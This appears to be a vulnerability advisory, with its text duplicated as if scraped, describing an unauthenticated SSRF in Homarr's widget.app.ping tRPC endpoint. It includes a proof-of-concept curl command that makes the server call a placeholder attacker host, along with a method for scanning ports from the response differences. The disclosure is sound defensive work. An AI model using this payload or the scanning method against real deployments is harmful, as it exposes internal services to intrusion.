Summary
A public (unauthenticated) tRPC endpoint widget.app.ping accepts an arbitrary url and performs a server-side request to that URL. This allows an unauthenticated attacker to trigger outbound HTTP requests from the Homarr server, enabling SSRF behavior and a reliable port-scanning primitive (open vs closed ports can be inferred from statusCode vs fetch failed and timing).
Details
The procedure is implemented in:
packages/api/src/router/widgets/app.ts as ping: publicProcedure.input(z.object({ url: z.string() })).query(...)
It calls sendPingRequestAsync(input.url) (server-side fetch) and returns:
statusCode and durationMs on success
- an
error (e.g., fetch failed) on failure
Because the procedure is publicProcedure, the functionality is reachable without authentication and can be abused by any network user who can reach the Homarr instance.
Proof of Concept (PoC)
- Start a simple HTTP server on an attacker-controlled host:
python3 -m http.server 8080
- From any machine that can reach the Homarr API, call the ping endpoint (no auth required):
curl -sG 'http://<HOMARR_HOST>:7575/api/trpc/widget.app.ping' \
-H 'trpc-accept: application/jsonl' \
--data-urlencode 'batch=1' \
--data-urlencode 'input={"0":{"json":{"url":"http://<ATTACKER_HOST>:8080/test"}}}'
- Observe:
Example results:
Also confirmed by web server logs showing requests originating from the Homarr server IP.
Impact
This allows:
-
Server-side request forgery (SSRF-like behavior): Homarr can be forced to make outbound requests to arbitrary hosts.
-
Port-scanning primitive from the Homarr network perspective (distinguish reachable services).
-
Potential access to internal-only services (e.g., 127.0.0.1 / RFC1918 / cluster network), depending on deployment.
-
Potential side effects if internal endpoints perform actions on GET requests.
Summary
A public (unauthenticated) tRPC endpoint
widget.app.pingaccepts an arbitraryurland performs a server-side request to that URL. This allows an unauthenticated attacker to trigger outbound HTTP requests from the Homarr server, enabling SSRF behavior and a reliable port-scanning primitive (open vs closed ports can be inferred fromstatusCodevsfetch failedand timing).Details
The procedure is implemented in:
packages/api/src/router/widgets/app.tsasping: publicProcedure.input(z.object({ url: z.string() })).query(...)It calls
sendPingRequestAsync(input.url)(server-side fetch) and returns:statusCodeanddurationMson successerror(e.g.,fetch failed) on failureBecause the procedure is
publicProcedure, the functionality is reachable without authentication and can be abused by any network user who can reach the Homarr instance.Proof of Concept (PoC)
Homarr returns statusCode/durationMs when the port is open and reachable.
Homarr returns error: "fetch failed" when the port is closed/unreachable.
Example results:
Open port → {"statusCode":404,"durationMs":...}
Closed port → {"error":"fetch failed"}
Also confirmed by web server logs showing requests originating from the Homarr server IP.
Impact
This allows:
Server-side request forgery (SSRF-like behavior): Homarr can be forced to make outbound requests to arbitrary hosts.
Port-scanning primitive from the Homarr network perspective (distinguish reachable services).
Potential access to internal-only services (e.g., 127.0.0.1 / RFC1918 / cluster network), depending on deployment.
Potential side effects if internal endpoints perform actions on GET requests.